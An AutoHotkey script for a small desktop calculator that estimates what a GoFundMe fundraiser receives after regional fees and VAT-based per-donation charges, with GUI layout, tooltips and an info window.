Gui, Add, Text, xm ym w200, Donation Total:
Gui, Add, Edit, w200 vvTotal
Gui, Add, Text, w200, Donation Count:
Gui, Add, Edit, w200 vvDCount
Gui, Show, Autosize, GoFundMe Calculator
WinGet, vClst, ControlList, GoFundMe Calculator
Loop, Parse, vClst, `n
 {
  ControlGetPos, vX, vY, vW, vH, % A_LoopField, GoFundMe Calculator
  If !vTop
   vTop := vY - 23
  If !vLeft
   vLeft := vX
  vBttnX := (vX + vW) + 8
  vBttnH := (vY + vH) - 31
  vNextArea := vBttnH + 13
 }
Gui, Add, Button, y%vTop% x%vBttnX% ggsSbmtTtl vvBttnMv, Calculate
GuiControl, Move, vBttnMv, y%vTop% x%vBttnX% h%vBttnH%
ControlGetPos, , , vWb, , Button1, GoFundMe Calculator
Gui, Font, s14 cRed, Segoe UI
Gui, Add, Text, x%vLeft% y%vNextArea% w200, You'll Receive:
Gui, Font, s11 cBlack, Segoe UI
Gui, Add, Button,  x%vBttnX% yp w%vWb% vvBttnMvb, Info
ControlGetPos, , vYc, ,vHc, Button2, GoFundMe Calculator
Gui, Font, s14 cRed, Segoe UI
Gui, Add, Text, x%vLeft% y%vYc% w200 vvFnl,
ControlGetPos, , , ,vHd, Static3, GoFundMe Calculator
ControlGetPos, , , ,vHe, Static4, GoFundMe Calculator
vNfoH := vHd + vHe
GuiControl, Move, vBttnMvb, h%vNfoH%
Gui, Font, s11 cBlack, Segoe UI
Gui, Add, DropDownList, w200 vvCntrChc, US/Canada||United Kingdom|Australia Only|Charities|International (VAT 17`%)|International (VAT 19`%)|International (VAT 20`%)|International (VAT 21`%)|International (VAT 22`%)|International (VAT 23`%)|International (VAT 24`%)
Gui, Font, s7 cBlack, Segoe UI
vLnkMrgn := vBttnX + 8
Gui, Add, Link, x%vLnkMrgn% yp, My Deviant
Gui, Add, Link, x%vLnkMrgn% yp+16, Microcosm
Gui, Show, Autosize, GoFundMe Calculator

Return

; Functions
MouseOver(vXa, vYa, vXb, vYb)
 {
  MouseGetPos, vPx, vPy
  vDtct := vPx >= vXa AND vPx <= vXb AND vPy >= vYa AND vPy <= vYb
  Return vDtct
 }
WM_MOUSEMOVE(){
 If MouseOver("19", "218", "219", "247") Or MouseOver("16", "61", "216", "89") Or MouseOver("16", "125", "216", "153")
  {
   If MouseOver("19", "218", "219", "247")
    ToolTip % "Select your region here."
   If MouseOver("16", "61", "216", "89")
    ToolTip % "Enter donation total here..."
   If MouseOver("16", "125", "216", "153")
    ToolTip % "Enter donation count here. Not needed for charities."
  }
 Else
  ToolTip
}

WM_MOUSELEAVE(){
 ToolTip
}
WM_MOVE(wParam, lParam){
 IfWinExist, GoFundMe Calculator Info
  Gosub, gsChckMsgBx
 IfWinExist, GoFundMe Calculator Error
  Gosub, gsChckErr
}
fncCalcDonation(va,vb,vc){
 If !va
  {
   SetTimer, gsChckErr, -201
     
   MsgBox, 16, GoFundMe Calculator Error, % "Donation Total not provided..."
   Return
  }
 If (vc = "US/Canada")
  {
   If !vb
    {
     SetTimer, gsChckErr, -201      
     MsgBox, 16, GoFundMe Calculator Error, % "Enter both numbers and try again..."
     Return
    }
   vTtl :=Round(va - ((va * .079) + (vb * .30)), 2)
  }
 If (vc = "United Kingdom")
  {
   If !vb
    {
     SetTimer, gsChckErr, -201      
     MsgBox, 16, GoFundMe Calculator Error, % "Enter both numbers and try again..."
     Return
    }
   vTtl := Round(va - ((va * .064)+((vb * .20) + (vb * .20))), 2)
  }
 If (vc = "Australia Only")
  {
   If !vb
    {
     SetTimer, gsChckErr, -201      
     MsgBox, 16, GoFundMe Calculator Error, % "Enter both numbers and try again..."
     Return
    }
   vTtl := Round(va - ((va * .0675)+(vb * .30)), 2)
  }
 If (vc = "Charities")
  {
   If vb
    {
     SetTimer, gsChckErr, -201      
     MsgBox, 16, GoFundMe Calculator Error, % "Charities does not need Donation Count..."
     Return    
    }
   vTtl := Round(va - (va * .0925), 2)
  }
 If (vc = "International (VAT 17%)")
  {
   If !vb
    {
     SetTimer, gsChckErr, -201      
     MsgBox, 16, GoFundMe Calculator Error, % "Enter both numbers and try again..."
     Return
    }
   vTtl := Round(va - ((va * .079)+((vb * .25) + (vb * .17))), 2)
  }
 If (vc = "International (VAT 19%)")
  {
   If !vb
    {
     SetTimer, gsChckErr, -201      
     MsgBox, 16, GoFundMe Calculator Error, % "Enter both numbers and try again..."
     Return
    }
   vTtl := Round(va - ((va * .079)+((vb * .25) + (vb * .19))), 2)
  }
 If (vc = "International (VAT 20%)")
  {
   If !vb
    {
     SetTimer, gsChckErr, -201      
     MsgBox, 16, GoFundMe Calculator Error, % "Enter both numbers and try again..."
     Return
    }
   vTtl := Round(va - ((va * .079)+((vb * .25) + (vb * .20))), 2)
  }
 If (vc = "International (VAT 21%)")
  {
   If !vb
    {
     SetTimer, gsChckErr, -201      
     MsgBox, 16, GoFundMe Calculator Error, % "Enter both numbers and try again..."
     Return
    }
   vTtl := Round(va - ((va * .079)+((vb * .25) + (vb * .21))), 2)
  }
 If (vc = "International (VAT 22%)")
  {
   If !vb
    {
     SetTimer, gsChckErr, -201      
     MsgBox, 16, GoFundMe Calculator Error, % "Enter both numbers and try again..."
     Return
    }
   vTtl := Round(va - ((va * .079)+((vb * .25) + (vb * .22))), 2)
  }
 If (vc = "International (VAT 23%)")
  {
   If !vb
    {
     SetTimer, gsChckErr, -201      
     MsgBox, 16, GoFundMe Calculator Error, % "Enter both numbers and try again..."
     Return
    }
   vTtl := Round(va - ((va * .079)+((vb * .25) + (vb * .23))), 2)
  }
 If (vc = "International (VAT 24%)")
  {
   If !vb
    {
     SetTimer, gsChckErr, -201      
     MsgBox, 16, GoFundMe Calculator Error, % "Enter both numbers and try again..."
     Return
    }
   vTtl := Round(va - ((va * .079)+((vb * .25) + (vb * .24))), 2)
  }
 If vTtl Contains -
  vTtl = 0
 Return vTtl
}
fncMvMsgBx(vPTitle, vCTitle, vTtMtchMd := "Fast"){
 SetTitleMatchMode, % vTtMtchMd
 IfWinExist, % vCTitle
  {
   WinGetPos, vCx, vCy, vCw, vCh, % vPTitle
   WinGetPos, , , vDw, vDh, % vCTitle
   vMy := vCy + vCh + 13
   If (vCw < vDw)
    vNx := vCx - ((vDw - vCw) / 2)
   Else
    vNx := vCx + ((vCw - vDw) / 2)
   WinMove, % vCTitle, , %vNx% ,%vMy%
  }
 WinActivate, GoFundMe Calculator
 SetTitleMatchMode, Fast

}
fncInfo(){
 SetTimer, gsChckMsgBx, -201
 Sleep, 1
 Gui, Info: New
 nf("12")
 Gui, Info: Add, Text, xm ym, % "Information about GoFundMe pricing can be found here:"
 Gui, Info: Show, , GoFundMe Calculator Info
 ControlGetPos, , , , vHg, Static1, GoFundMe Calculator Info
 Gui, Info: Add, Link, xp yp+%vHg% , GoFundMe Pricing Page
 Gui, Info: Show, , GoFundMe Calculator Info
 ControlGetPos, , , ,vHf , SysLink1, GoFundMe Calculator Info
 Gui, Info: Add, Text, xp yp+%vHf%, % "Select your region and enter the Donations Total and"
          . "`nthe Donations Count and click the [Calculate] button."
          . "`nPrices vary per country."
          . "`n`nNote: This calculator should be accurate within a cent"
          . "`nor two as it is rounded to the closest cent. If you have"
          . "`nany errors, questions, or any feedback in general, please"
          . "`nsend any inqueries to:"
 Gui, Info: Show, , GoFundMe Calculator Info
 ControlGetPos, , vYe, ,vHe , Static2, GoFundMe Calculator Info
 Gui, Info: Add, Link, xp yp+%vHe%, faithnomoread@yahoo.com
 Gui, Info: Show, Autosize, GoFundMe Calculator Info
}
nf(vs := "11",vc := "Black",vf := "Segoe UI"){
 Gui, Info: Font, s%vs% c%vc%, %vf%
}

; Gosubs
ButtonInfo:
 SetTimer, gsChckMsgBx, -201
 Sleep, 1
 fncInfo()
Return
gsChckMsgBx:
 fncMvMsgBx("GoFundMe Calculator", "GoFundMe Calculator Info", "3")
Return
gsChckErr:
 fncMvMsgBx("GoFundMe Calculator", "GoFundMe Calculator Error", "3")
Return
gsSbmtTtl:
 Gui, Submit, NoHide
 GuiControl, , vFnl, % fncCalcDonation(vTotal, vDCount, vCntrChc)
Return
GuiClose:
 ExitApp